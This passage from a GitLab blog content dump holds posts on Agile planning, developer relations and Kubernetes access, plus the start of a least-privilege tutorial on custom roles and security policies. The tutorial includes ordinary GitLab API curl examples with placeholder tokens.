cluster, saving days of work and decreasing the risks associated with cloud accounts.\n\n## Get started today\n\nIf you want to try this approach and allow access to your colleagues to some of your clusters without managing cloud accounts, the following documentation pages should help you to get started:\n\n- On self-managed GitLab instances, you might need to [configure the GitLab-side component (called KAS)](https://docs.gitlab.com/ee/administration/clusters/kas.html) of the agent for Kubernetes first.\n\n- You can learn more about [all the Kubernetes management features here](https://docs.gitlab.com/ee/user/clusters/agent/), or you can immediately dive in by [installing an agent](https://docs.gitlab.com/ee/user/clusters/agent/install/), and [granting users access to Kubernetes](https://docs.gitlab.com/ee/user/clusters/agent/user_access.html).\n\n- You’ll likely want to [configure a Kubernetes dashboard](https://docs.gitlab.com/ee/ci/environments/kubernetes_dashboard.html) for your deployed application.\n\n> Try simplifying your cloud account management for Kubernetes access today with [a free trial of GitLab Ultimate](https://gitlab.com/-/trials/new).",[3949,674,2509,696],{"slug":6597,"featured":92,"template":678},"simplify-your-cloud-account-management-for-kubernetes-access","content:en-us:blog:simplify-your-cloud-account-management-for-kubernetes-access.yml","Simplify Your Cloud Account Management For Kubernetes Access","en-us/blog/simplify-your-cloud-account-management-for-kubernetes-access.yml","en-us/blog/simplify-your-cloud-account-management-for-kubernetes-access",{"_path":6603,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6604,"content":6610,"config":6615,"_id":6617,"_type":16,"title":6618,"_source":17,"_file":6619,"_stem":6620,"_extension":20},"/en-us/blog/ditch-your-legacy-planning-tool-get-agile-with-gitlab",{"title":6605,"description":6606,"ogTitle":6605,"ogDescription":6606,"noIndex":6,"ogImage":6607,"ogUrl":6608,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6608,"schema":6609},"Ditch your legacy planning tool: Get Agile with GitLab","Discover how Agile planning in a DevSecOps platform unlocks traceability from idea to implementation, providing a holistic view of your strategy in action.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099116/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%282%29_6IiTrEHgXVZcOI2rcPfg21_1750099116301.png","https://about.gitlab.com/blog/ditch-your-legacy-planning-tool-get-agile-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Ditch your legacy planning tool: Get Agile with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amanda Rueda\"}],\n        \"datePublished\": \"2024-03-14\",\n      }",{"title":6605,"description":6606,"authors":6611,"heroImage":6607,"date":6612,"body":6613,"category":1897,"tags":6614},[1894],"2024-03-14","When organizations are trying to get a better handle on their software development workflows — struggling with bottlenecks and silos, not being able to integrate customer feedback fast enough, and lacking project visibility — they just might turn to Agile planning. It’s a solid way to increase collaboration, foster iterations, and speed value delivery.\n\nAgile planning, though, works even better when done in conjunction with a DevSecOps platform and the methodologies that come along with it. There’s no need to choose one or the other. In fact, they are designed to work together, and both focus on continuous improvement, collaboration, and team empowerment. A DevSecOps platform helps you bring an Agile mindset to software delivery.\n\n> [Contact our sales team](https://about.gitlab.com/sales/) to get started with GitLab Agile planning today!\n\n### What problems can Agile planning and a DevSecOps platform tackle?\n\nFirst off, let’s look at some challenges teams take on with a combination of Agile planning tools and a DevSecOps platform:\n\n- Inefficiencies and bottlenecks - With context switching between a multitude of tools and a lack of visibility into teams’ work and workflows, it’s hard to see bottlenecks where time and effort is being wasted.\n- Silos and lack of collaboration - If planning and development are happening in different places and with different tools, it’s much more difficult for teams to work together to improve efficiency and deployment speed.\n- Problems scaling up - When teams and workflows are growing, it can be difficult to enable cross-functional work that will keep up with increasing demands.\n- Problems with communication - When stakeholders don’t have insight and the ability to comment in the early planning stage of a project, engaging with them becomes inefficient and their valuable views are lost.\n- Losing track of resources - Without visibility into how teams’ time  and work are allocated, it’s easy to lose sight of how valuable resources are being allocated — or even wasted.\n- Keeping up with reports - Without automation to help teams keep up with progress reports, it can be highly taxing to get needed, organized reports on time.\n\nBoth Agile planning tools and a DevSecOps platform focus on bringing customer-facing teams, product teams, and development teams together to accelerate customer feedback into production and speed up development through iterations. Each one works really well, but together they’re even more powerful.\n\n### Learning from Iron Mountain\n\n[Iron Mountain Inc.](https://about.gitlab.com/customers/iron-mountain/), a U.S.-based enterprise information management services company, has embraced Agile methods, but was looking to simplify their fragmented tooling to gain a single view of software development workflows. With an eye on reducing the costs associated with infrastructure management, while also securely increasing production velocity, the company, which has more than 225,000 customers worldwide, adopted a DevSecOps platform to scale their Agile framework. The platform enabled their Agile methodologies, and Agile supported their evolution to DevOps.\n\n“GitLab has provided us with the foundation and platform to enable our scaled Agile framework,” says Hayelom Tadesse, Iron Mountain’s vice president of enterprise technology. “We are able to collaborate within our Enterprise IT teams and our key stakeholders.”\n\n### How Agile planning + a DevSecOps platform helps organizations\n\nAgile is a software development mindset that calls for iterative changes and updates. Instead of creating an initial, one-and-only plan that is seen all the way through the software development lifecycle, Agile planning leaves room to adapt through the development phase, based on feedback from cross-functional teams and customers. Simply put, Agile planning comes into play in every phase of development.\n\nAnd an end-to-end DevSecOps platform fosters collaboration, breaks down silos, and offers visibility into what is happening throughout the software development lifecycle.\nWhen you incorporate Agile planning inside the framework of a DevSecOps platform, it’s easier and more efficient to plan, organize, track, and measure work.\n\nBy [combining Agile and a DevSecOps platform](https://about.gitlab.com/blog/gitlab-enterprise-agile-planning-add-on-for-all-roles/), organizations can:\n- **Optimize workflows** by enabling a unified view of DevSecOps metrics to resolve process bottlenecks and achieve business goals faster. A DevSecOps platform, like GitLab, can solve challenges such as fragmented tooling, gaps that block development and operations communications, administrative burdens, and difficulties with efficiently securing complex pipeline deployments.\n- **Unlock collaboration** to break down silos and drive organizational outcomes. Cross-functional teams work side-by-side in GitLab, fostering open communication and real-time feedback. By sharing ideas and iterating on work from the inception of ideas to deployment to production, everyone remains on the same page.\n- **Simplify design work** since design teams can share mockups, gather feedback, and ensure software alignment with business objectives, all within a single platform.\n- **Enable value stream management** by empowering teams with metrics and insights. A platform helps teams ship better software faster and focus on delivering customer value.\n- **Gain actionable insights** to drive continuous improvement across the entire software delivery process. By bringing Agile planning into a DevSecOps platform, code merges are effortlessly linked to issues, ensuring complete visibility and a user-friendly view of a project’s current status.\n\nIntegrated Agile capabilities bring teams together, fostering a culture of collaboration, transparency, and efficiency. And, within a single platform, it empowers teams to work together, deliver value faster, and ultimately, create software that truly matters.\n\nTake a look at how GitLab can help you plan and track work across the software development lifecycle, removing inefficiencies and scaling software delivery:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/7ICcIaDsVc8?si=5_rf2KLyoE5kuIAM\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n> [Contact our sales team](https://about.gitlab.com/sales/) to get started with GitLab Agile planning today!\n",[1899,943,479],{"slug":6616,"featured":92,"template":678},"ditch-your-legacy-planning-tool-get-agile-with-gitlab","content:en-us:blog:ditch-your-legacy-planning-tool-get-agile-with-gitlab.yml","Ditch Your Legacy Planning Tool Get Agile With Gitlab","en-us/blog/ditch-your-legacy-planning-tool-get-agile-with-gitlab.yml","en-us/blog/ditch-your-legacy-planning-tool-get-agile-with-gitlab",{"_path":6622,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6623,"content":6629,"config":6636,"_id":6638,"_type":16,"title":6639,"_source":17,"_file":6640,"_stem":6641,"_extension":20},"/en-us/blog/developer-relations-at-gitlab-what-weve-learned-since-our-start",{"title":6624,"description":6625,"ogTitle":6624,"ogDescription":6625,"noIndex":6,"ogImage":6626,"ogUrl":6627,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6627,"schema":6628},"Developer Relations at GitLab: What we've learned since our start","DevRel is key to success for many tech companies. Find out how GitLab's DevRel program has evolved to stay aligned with the industry and our customers.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672008/Blog/Hero%20Images/AdobeStock_204527293.jpg","https://about.gitlab.com/blog/developer-relations-at-gitlab-what-weve-learned-since-our-start","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Developer Relations at GitLab: What we've learned since our start\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"John Coghlan\"}],\n        \"datePublished\": \"2024-03-13\",\n      }",{"title":6624,"description":6625,"authors":6630,"heroImage":6626,"date":6632,"body":6633,"category":6634,"tags":6635},[6631],"John Coghlan","2024-03-13","Earlier this year, a tweet (are they still called that?) by [Kelsey Hightower](https://twitter.com/kelseyhightower) sparked discussion on social media and internally at GitLab. \n\n![Kelsey Hightower tweet](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678041/Blog/Content%20Images/Screenshot_2024-03-08_at_8.19.09_AM.png)\n\nAt first, Kelsey's response might seem a bit flippant, but there’s an underlying truth to it: Developer Relations (short: DevRel) – and other business functions – must meet the needs of the business and your customers. However, what your stakeholders and customers need will be different in the future. Therefore, to be successful, you have to iterate to stay aligned with them. \n\nReflecting back on my five years working in Developer Relations (formerly known as Community Relations) at GitLab, our team has continuously evolved to stay aligned with the needs of our customers, our community, and the business. GitLab CEO and founder Sid Sijbrandij explains how North Star Metrics evolve in his blog post on goal-setting for startups: [Artificially constraining your company to one goal creates velocity and creativity](https://opencoreventures.com/blog/2023-06-05-artificially-constrain-one-goal-to-create-creativity-velocity/). He details the shift from attention to active users to revenue to profit. The evolution of DevRel at GitLab in many ways maps to that same journey.\n\n![What is DevRel - image 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678041/Blog/Content%20Images/image1.png)\n\n## Early DevRel at GitLab\n\nWhen I joined GitLab in 2018, our team was largely made up of Community Advocates, an Evangelist Program Manager (me), a Code Contributor program manager, and a director. The Community Advocates were tasked with monitoring and engaging with GitLab community members across various online channels but primarily [Hacker News](https://handbook.gitlab.com/handbook/marketing/developer-relations/developer-evangelism/hacker-news/) and Twitter. Answering questions and creating issues based on comments served to increase awareness and attention for GitLab. In addition, users learned that their questions would be answered and feedback was being heard and, frequently, acted on.\n\nAt the same time, the Code Contributor program and Evangelist program were driving growth and interest in GitLab by helping our contributors navigate the contribution process, organizing events and meetups to connect our community, and deepening our relationship with our community champions, also known as [GitLab Heroes](https://about.gitlab.com/community/heroes/). \n\nFor companies in early stages, this is how DevRel often looks. The key tactics in this phase are:\n- use low-cost tools (blogs and social media) to drive attention\n- capitalize on people’s interest to deepen relationships and create advocates and champions\n- smooth the pathways to contribute or discover content\n\n> **Tip:** Direct engagement with your community through social media and online forums drives awareness, builds trust, and increases the quality and volume of feedback on your product. \n\n## Expanding DevRel's reach \n\nNext, we ramped up programs like GitLab for Open Source and GitLab for Education. These programs helped attract to our platform key open source projects and many large academic institutions, both with large numbers of engaged users. More users meant more feedback to help us improve the product and more contributors. \n\nAs attention grew and the breadth and depth of our platform increased, we needed to better enable our customers to leverage the capabilities of GitLab’s DevSecOps Platform. This stage roughly maps to the revenue North Star Metric. To drive greater awareness and adoption, the Community Relations team underwent a critical change.\n\n> **Tip:** When looking to grow your active users, engage with partners who can bring their community to your product or platform. This strategy is often overlooked but can be a big boost to awareness and growth, setting you up for success. \n\n## Deepening the DevRel bench\n\nAs our next move, we formed a team of technical experts, known as Developer Evangelists. This team engaged in more traditional DevRel practices, those that might come to mind when asking yourself “What is DevRel?”. Internally, we referred to this team’s role as the three Cs: \n- Content creation - creating blog posts, technical talks, demos, and other content to enable our customers\n- Community engagement - engaging online and at events with our customers and community\n- Consulting - serving as internal advocates for and experts on the wider GitLab community\n\nHaving technical experts who could connect directly with customers and escalate that feedback internally helped improve the feedback loop between users and product teams. This team also deeply understood GitLab users, which improved the company's ability to enable our customers and community through content.\n\n> **Tip:** Early in your company journey, executives, product managers, and engineers play a vital role in engaging with community. As the number of users grows, you’ll need technical experts on your team who can directly engage with users and ensure customer feedback reaches key stakeholders (executives and product owners).\n\n## Continuously evolving DevRel at GitLab\n\nOver the past year, the team has evolved again.\n\n- A new vice president joined our team and has helped us become more strategic and better aligned cross-functionally.\n\n- A Contributor Success team was established to better engage and align with our customers around contributions to GitLab. Evolving from a one-person function to a full-fledged team of engineers with deep experience in open source (including multiple past contributors to GitLab), this team continuously improves the contribution experience and engages directly with customers who wish to contribute.\n\n- We updated our team name and many of our team members’ job titles to align with industry standards.\n\n- And we’ve all ramped up quite a bit on AI, perhaps you’ve heard of [GitLab Duo](https://about.gitlab.com/gitlab-duo/)? \n\nAs GitLab continues to mature as a public company, the team will continue to evolve. Through these changes, we will stay focused on increasing the efficiency and impact of our efforts for our customers, our product, and our team.\n\n## Gaining - and maintaining - executive buy-in\n\nExecutive buy-in is essential for DevRel. Look at the companies with the largest, most engaged communities and you will find that those companies also have the most active, engaged, and often highly respected founders and CEOs. This is certainly true with GitLab. \n\nGitLab’s engagement with our community began before we were even a company when Dmitriy Zaporozhets (DZ) started the open source GitLab project with [this commit](https://gitlab.com/gitlab-org/gitlab-foss/commit/9ba1224867665844b117fa037e1465bb706b3685). The engagement continued when Sid [launched GitLab on Hacker News](https://news.ycombinator.com/item?id=4428278).\n\nThe importance of community in GitLab’s success cannot be overstated, and while we’ve grown to heights that few companies reach, contributions from our customers and community remain central in [our strategy](https://handbook.gitlab.com/handbook/company/strategy/#dual-flywheels). Because of this, team members, from the highest levels of GitLab and throughout our organization, remain in active communication with our customers via issues and social forums, working hard at all times to help them succeed. Transparency is key here. Documenting our DevRel strategies in the [public GitLab handbook](https://handbook.gitlab.com/handbook/marketing/developer-relations/) enables everyone to contribute.\n\n> **Tip:** Executive support is critical when building a community.\n\n## So what is DevRel?\n\nI want to go back to the initial question that sparked this blog: What is DevRel? \n\nI’ll leave you with a quote from Emilio Salvador, vice president of Developer Relations at GitLab, which was recently merged to [our handbook page](https://handbook.gitlab.com/handbook/marketing/developer-relations): \n\n\u003Ci>\"Developer Relations (short: DevRel) operates at the intersection of technology, community, and advocacy, serving as the voice and ears of GitLab in the wider tech world. Their core mission revolves around nurturing and sustaining a vibrant, engaged community of developers, contributors, and users. This involves a multifaceted approach that includes creating educational content, organizing events and workshops, developing programs, and providing platforms for knowledge exchange and collaboration. The team not only focuses on promoting GitLab’s features and capabilities but also actively listens to and incorporates feedback from the community to inform product development and improvements.\"\u003C/i>\n\nThat’s what it is today, but if the history of DevRel at GitLab is any indication, I expect that we’ll continue to iterate going forward. \n\n> [Join our Discord community](https://discord.gg/gitlab) to continue the conversation.\n","culture",[4103,943,676],{"slug":6637,"featured":92,"template":678},"developer-relations-at-gitlab-what-weve-learned-since-our-start","content:en-us:blog:developer-relations-at-gitlab-what-weve-learned-since-our-start.yml","Developer Relations At Gitlab What Weve Learned Since Our Start","en-us/blog/developer-relations-at-gitlab-what-weve-learned-since-our-start.yml","en-us/blog/developer-relations-at-gitlab-what-weve-learned-since-our-start",{"_path":6643,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6644,"content":6650,"config":6655,"_id":6658,"_type":16,"title":6659,"_source":17,"_file":6660,"_stem":6661,"_extension":20},"/en-us/blog/gitlab-security-release-16-9-2-16-8-4-16-7-7",{"title":6645,"description":6646,"ogTitle":6645,"ogDescription":6646,"config":6647,"ogImage":3431,"ogUrl":6648,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6648,"schema":6649},"GitLab Security Release: 16.9.2, 16.8.4, 16.7.7","Learn more about GitLab Security Release: 16.9.2, 16.8.4, 16.7.7 for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-security-release-16-9-2-16-8-4-16-7-7","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Security Release: 16.9.2, 16.8.4, 16.7.7\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Greg Myers\"}],\n        \"datePublished\": \"2024-03-06\",\n      }",{"title":6645,"description":6646,"authors":6651,"heroImage":3431,"date":6652,"body":6653,"category":674,"tags":6654},[866],"2024-03-06","This is the [GitLab Security Release: 16.9.2, 16.8.4, 16.7.7 blog](https://about.gitlab.com/releases/2024/03/06/security-release-gitlab-16-9-2-released/).",[1464,774],{"slug":6656,"featured":6,"template":678,"externalUrl":6657},"gitlab-security-release-16-9-2-16-8-4-16-7-7","https://about.gitlab.com/releases/2024/03/06/security-release-gitlab-16-9-2-released/","content:en-us:blog:gitlab-security-release-16-9-2-16-8-4-16-7-7.yml","Gitlab Security Release 16 9 2 16 8 4 16 7 7","en-us/blog/gitlab-security-release-16-9-2-16-8-4-16-7-7.yml","en-us/blog/gitlab-security-release-16-9-2-16-8-4-16-7-7",{"_path":6663,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6664,"content":6670,"config":6674,"_id":6676,"_type":16,"title":6677,"_source":17,"_file":6678,"_stem":6679,"_extension":20},"/en-us/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab",{"title":6665,"description":6666,"ogTitle":6665,"ogDescription":6666,"noIndex":6,"ogImage":6667,"ogUrl":6668,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6668,"schema":6669},"The ultimate guide to least privilege access with GitLab","This tutorial demonstrates how to achieve least privilege access using custom roles, security policies, compliance pipelines, branch protections, and more.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099438/Blog/Hero%20Images/Blog/Hero%20Images/built-in-security_built-in-security.jpeg_1750099438377.jpg","https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The ultimate guide to least privilege access with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2024-03-06\",\n      }",{"title":6665,"description":6666,"authors":6671,"heroImage":6667,"date":6652,"body":6672,"category":674,"tags":6673},[1622],"The principle of least privilege ([PoLP](https://csrc.nist.gov/glossary/term/least_privilege)) is a concept in which a user's access rights should be limited to the bare minimum needed for them to complete the tasks required within their respective roles. By implementing PoLP you can enhance your organization's [security posture](https://csrc.nist.gov/glossary/term/security_posture), complementing zero trust, in the following ways:\n\n- **Reduction of attack surface:** If credentials are compromised, the breach will be limited to only the paths where the compromised account has access.\n- **Protection against human error:** Users will not be able to perform actions that are not required for their role.\n- **Adherence to compliance:** Separation of duties and least privilege best practices are required for several compliance mandates such as SOC2 and HIPAA.\n- **Reduced system downtime:** By preventing everyone from accessing critical parts of the software development lifecycle (SDLC), there is less likelihood of downtime.\n\nGitLab provides a variety of different features that allow you to customize the actions a user can perform which assist in the achievement of PoLP. These features include:\n\n- **[Custom roles and granular security permissions](#custom-roles-and-granular-security-permissions):** Allows creation of roles with permissions that are specific to particular functions required by the organization.\n- **[Security policies](#security-policies):** Allows policies to be created that prevent insecure code from being merged into production branches without approval, and run security scanners regardless of your pipeline definition.\n- **[Branch protections and Code Owners](#branch-protections-and-code-owners):** Imposes further restrictions on certain branches to control permissions such as who can merge, push, etc. to defined branches.\n- **[Compliance pipelines and frameworks](#compliance-pipelines-and-frameworks):** Identifies that your project has certain compliance requirements or needs additional oversight, enforcing a pipeline configuration to the projects on which it is applied.\n\nIn this blog post, you'll learn each of the features mentioned, how they improve your organization's security posture, as well as how to implement them.\n\nWatch my video, which introduces you to achieving PoLP with GitLab:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/jvZ3eqWMeSY?si=DedSYiBNy2kTLJKo\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Custom roles and granular security permissions\n\nGitLab allows you to create [custom roles](https://docs.gitlab.com/ee/user/custom_roles.html), which apply additional permissions to base roles to meet the security needs of your organization. The available [base roles](https://docs.gitlab.com/ee/user/permissions.html#roles) are as follows:\n\n- Guest\n- Reporter\n- Developer\n- Maintainer\n- Owner\n\nEach base role applies a particular set of permissions to a user. Base roles apply different permissions for [group members](https://docs.gitlab.com/ee/user/permissions.html#group-members-permissions), [project members](https://docs.gitlab.com/ee/user/permissions.html#project-members-permissions), and in [project features](https://docs.gitlab.com/ee/user/permissions.html#project-features-permissions). For example, the table below shows which roles can view the project [dependency list](https://docs.gitlab.com/ee/user/application_security/dependency_list/):\n\n| Base role    | Can view project dependency list     |\n| ---------- | ---------- |\n| Guest      | ❌       |\n| Reporter      | ❌       |\n| Developer      | ✅       |\n| Maintainer      | ✅       |\n| Owner       | ✅     |\n\n\u003Cbr>\u003C/br>\nThe dependency list also known as a software bill of materials ([SBOM](https://about.gitlab.com/blog/the-ultimate-guide-to-sboms/)), displays your project's dependencies\nand key details about those dependencies. It makes sense that only those actively working on a project should\nbe able to see what dependencies are present to limit any exploitation of your application using its dependencies.\n\nHowever, there are cases in which a Guest may need to see the SBOM to assist the organization in\n[achieving compliance](https://www.whitehouse.gov/briefing-room/presidential-actions/2021/05/12/executive-order-on-improving-the-nations-cybersecurity/). By using custom roles, a new role can be created with all the limited permissions of the Guest role, and additionally, the ability to view the project dependency list can be added. Therefore, we have a Guest assisting us with compliance with the least privileged access required for their job.\n\nWatch my video on custom roles and granular security permissions with GitLab:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/WyrhkpO5WkI?si=4B4mNYNK9UyNrru8\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Granular permissions\n\nAs of the GitLab 16.8 release, the following granular permissions can be added to any base role:\n\n- Viewing project code\n- Viewing vulnerability reports\n- Changing the status of vulnerabilities\n- Viewing SBOMs\n- Approving merge requests\n- Managing project/group access tokens\n- Adding/removing group members\n- Archiving/unarchiving/removing projects\n- Admin Terraform state\n\nWe will continue to add [more granular permissions](https://docs.gitlab.com/ee/user/custom_roles/abilities.html) with each GitLab release. You can learn more about our roadmap for this feature by referring to the [Granular Security Permissions Epic](https://gitlab.com/groups/gitlab-org/-/epics/10684) and provide feedback in the [customer feedback Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/391760). You also have the ability to contribute to GitLab and [develop your own granular permissions](https://docs.gitlab.com/ee/development/permissions/custom_roles.html).\n\n### Implementation prerequisites\nThe requirements for implementing custom roles are as follows: \n- Owner role in the top-level group in which you are creating the custom role\n- Administrator for the self-managed instance in which you are creating the custom role\n- GitLab Ultimate tier in the top-level group\n- A [personal access token with the API scope](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#create-a-personal-access-token)\n\nTo see custom roles in action requires:\n- a private project within the top-level group or its subgroups\n- a guest user within the private project\n\nWhen you enable a custom role for a user with the Guest role, that user has access to elevated permissions, and therefore:\n- is considered a billable user on self-managed GitLab\n- uses a seat on GitLab.com\n\n### Creating the custom role with granular permissions\n\nNow that you know the benefits of implementing custom roles with granular permissions, let's implement them within our GitLab instance:\n\n1. On the left sidebar, select **Search or go to**.\n    - In GitLab SaaS find and select the top-level group in which you want to create a custom role.\n    - In GitLab Self-Managed find and select **Admin Area**.\n2. Select **Settings > Roles and Permissions**.\n    - In GitLab Self-Managed use the top dropdown list to find and select the top-level group in which you want to create a custom role.\n3. Select **Add new role**.\n4. Under Base role to use as a template, select **Guest** for this tutorial.\n5. Under Role name, enter the custom role’s title.\n6. Under Permissions for the custom role, select **Read Vulnerability** for this tutorial.\n7. Select **Create a new role**.\n\n![Create new role screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750099455072.png)\n\n\u003Ccenter>\u003Ci>Interface for creating a custom role\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nAfter creating the role you should be able to see the new custom role along with its ID, Base role, and Permissions. Be sure to save the ID as it will be used when we assign the custom role to a guest user.\n\n![Custom role screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750099455073.png)\n\n\u003Ccenter>\u003Ci>Security Auditor role created\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nNow we must assign the custom role to a group or project member. This can be done as follows:\n1. Invite a user as a direct member with the Guest role to your top-level group where the custom role was created.\n2. You can invite them to a sub-group or private project within the top-level group as well.\n* The guest user should not be able to see any code within the project they have been assigned to.\n* Open your terminal.\n3. Export the required environment variables:\n* Your [personal access token with API scope](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#create-a-personal-access-token)\n\n```\n$ export TOKEN=glpat-XXXXXXXXXXXX\n$ echo $TOKEN\nglpat-XXXXXXXXXXXX\n\n```\n\n* The ID of the user we will be granting a custom role to. You can obtain the user id by providing the username to the [User API](https://docs.gitlab.com/ee/api/users.html#list-users). For more information on using the GitLab API, see the [REST API documentation](https://docs.gitlab.com/ee/api/rest/).\n\n```\n$ curl \"https://gitlab.example.com/api/v4/users?username=fjdiaz\"\n[{\"id\":4710074,\"username\":\"fjdiaz\",\"name\":\"Fern\",\"state\":\"active\",\"locked\":false,\"avatar_url\":\"https://gitlab.com/uploads/-/system/user/avatar/4710074/avatar.png\",\"web_url\":\"https://gitlab.com/fjdiaz\"}]\n\n$ export USER_ID=4710074\n$ echo $USER_ID\n4710074\n```\n\n* The ID of the custom role. You can obtain the custom role ID from the ID column in the [custom roles UI](https://docs.gitlab.com/ee/user/custom_roles.html#gitlab-saas) or the [member roles API](https://docs.gitlab.com/ee/api/member_roles.html#add-a-member-role-to-a-group).\n\n```\n$ export CUSTOM_ROLE_ID=1000782\n$ echo $CUSTOM_ROLE_ID\n1000782\n```\n\n* The ID of your group or project. You can obtain the group id from the [group UI](https://docs.gitlab.com/ee/user/group/#get-the-group-id) or using the [groups API](https://docs.gitlab.com/ee/api/groups.html). You can obtain the project ID from the [project UI](https://docs.gitlab.com/ee/user/project/working_with_projects.html#access-the-project-overview-page-by-using-the-project-id) or using the [projects API](https://docs.gitlab.com/ee/api/projects.html).\n\n```\n$ export GROUP_ID=10087220\n$ echo $GROUP_ID\n10087220\n\n$ export PROJECT_ID=45738177\n$ echo $PROJECT_ID\n45738177\n```\n\n4. Associate the guest user with the custom role using the appropriate [group or project APIs](https://docs.gitlab.com/ee/api/members.html#edit-a-member-of-a-group-or-project).\n\n* If the user just needs to role in a project, update the project membership:\n\n```\n\"Authorization: Bearer $TOKEN\" --data '{\"member_role_id\": $CUSTOM_ROLE_ID, \"access_level\": 10}' \"https://gitlab.example.com/api/v4/projects/$PROJECT_ID/members/$USER_ID\"\n```\n\n* If the user just needs to role in a group, update the group membership:\n\n```\n$ curl --request PUT --header \"Content-Type: application/json\" --header \"Authorization: Bearer $TOKEN\" --data '{\"member_role_id\": $CUSTOM_ROLE_ID, \"access_level\": 10}' \"https://gitlab.example.com/api/v4/groups/$GROUP_ID/members/$USER_ID\"\n```\n\nNow that the custom role has been applied to a guest user, when they login, they can see the Vulnerability dashboard present in the Secure tab. Notice, however, that they are still not allowed to see the source code. \n\nThis is useful because it allows users to audit the system without being able to make changes to the code base, which applies the PoLP for those auditing the system for vulnerabilities.\n\n## Security policies\nGitLab provides [security policies](https://docs.gitlab.com/ee/user/application_security/policies/) to help you achieve least privilege access. There are two different types of security policies provided by GitLab:\n- [Scan Execution policies](https://docs.gitlab.com/ee/user/application_security/policies/scan-execution-policies.html) allow project maintainers and administrators the confidence of knowing that the scans they set up have not been changed, altered, or disabled.\n- [Merge Request Approval policies](https://docs.gitlab.com/ee/user/application_security/policies/scan-result-policies.html) prevent insecure code from being merged into production without appropriate approval.\n\nSome examples of how both policy types can be used in unison to provide least privilege access are as follows:\n- remove the ability for developers to disable security scanners\n- remove the ability for developers to merge insecure code\n\nPolicies are stored in a separate repo from the project they are being applied to called the Security Policy Project (SPP). This allows for separate permissions to be set to the SPP vs. the application repo, thus strengthening your ability to separate duties and apply PoLP.\n\n![Security policy hierarchy](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image19_aHR0cHM6_1750099455074.png)\n\n\u003Ccenter>\u003Ci>Security policy hierarchy\u003C/i>\u003C/center>\u003Cp>\u003C/p>\n\nTo enforce the policies contained in an SPP you link it to a project, subgroup, group, or multiples of each. An SPP can contain multiple policies but they are enforced together. An SPP enforced on a group or subgroup applies to everything below the hierarchy, including all subgroups and their projects.\n\nSecurity policies can be managed via the policy management UI as well as via yaml. Using the policy editor you can create, edit, and delete policies.\n\n![Policy management interface](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image20_aHR0cHM6_1750099455076.png)\n\n\u003Ccenter>\u003Ci>Policy management interface\u003C/i>\u003C/center>\u003Cp>\u003C/p>\n\nFeel free to leverage the [Simple Notes demo environment](https://gitlab.com/gitlab-de/tutorials/security-and-governance/devsecops/simply-vulnerable-notes) to try this yourself by following the provided [DevSecOps tutorial](https://gitlab-de.gitlab.io/tutorials/security-and-governance/devsecops/simply-vulnerable-notes/).\n\n### Creating a Scan Execution policy\nNow let's take a look at how to create a Scan Execution policy. Before getting started make sure you have met the following criteria:\n- GitLab Ultimate tier in the top-level group\n- Owner role to create/assign an SPP\n- Developer role or greater to create/edit/delete individual security policies\n\nWe will be creating a policy that automatically runs a SAST scan with each pipeline, regardless of the SAST template is defined within the gitlab-ci.yml:\n\n1. On the left sidebar, select **Search or go to** and search for the project to which you wish to add a policy.\n2. On the project left sidebar, go to **Secure > Policies**.\n3. Select **New policy**.\n4.  In the **Scan Execution Policy** section, select **Select policy**.\n5. Complete the fields:\n    - **Name:** The name of the policy\n    - **Description:** The description of the Policy\n    - **Policy status:** Whether it is enabled or not\n    - **Actions:** What actions to take when the defined conditions are met\n\n![Scan 